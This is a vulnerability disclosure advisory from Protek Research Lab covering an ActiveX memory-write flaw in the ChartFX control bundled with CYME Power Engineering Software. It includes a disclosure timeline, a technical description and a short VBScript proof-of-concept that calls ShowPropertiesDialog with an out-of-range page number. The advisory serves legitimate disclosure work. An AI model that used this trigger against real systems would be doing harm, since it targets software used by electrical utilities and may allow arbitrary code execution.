PRL-2012-29

#####################################################################################

Application:   CYME Power Engineering Software

Platforms:   Windows

Version:   CYME version 5.0.12.663.

Secunia: SA48430

{PRL}:   2012-29

Author:   Francis Provencher (Protek Research Lab’s)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code

#####################################################################################

===============
1) Introduction
===============
The CYME Power Engineering software is a suite of applications composed of a network editor, analysis

modules and user-customizable model libraries from which you can choose to get the most powerful solution.

The modules available comprise a variety of advanced applications and extensive libraries for either

transmission/industrial or distribution power network analysis.

 

(http://www.cyme.com/software/)

 

This software is use by all major electrical production/distrubtion company

http://www.cyme.com/company/clients/

 

#####################################################################################

============================
2) Report Timeline
============================

2012-03-14  Vulnerability reported to Secunia
2012-10-03  Publication of this advisory (180 Days)

#####################################################################################

============================
3) Technical details
============================

The vulnerability is caused due to an indexing error in the “ShowPropertiesDialog()”

method (ChartFX.ClientServer.Core.dll) of the ChartFX ActiveX Control. This can be

exploited to write a single byte value to an arbitrary memory location via the

“pageNumber” parameter. Successful exploitation may allow execution of arbitrary code.
#####################################################################################

===========
4) The Code
===========

<object classid=’clsid:E9DF30CA-4B30-4235-BF0C-7150F646606C’ id=’target’ />

<script language=’vbscript’>

targetFile = “C:\CYME\CYMDIST50TRIAL\ChartFX.ClientServer.Core.dll”

prototype = “Sub ShowPropertiesDialog ( ByVal context As Variant , ByVal pageNumber As Long )”

memberName = “ShowPropertiesDialog”

progid = “Cfx62ClientServer.Chart”

argCount = 2

 

arg1=”defaultV”

arg2=2147483647

 

target.ShowPropertiesDialog arg1 ,arg2

 

 

###############################################################################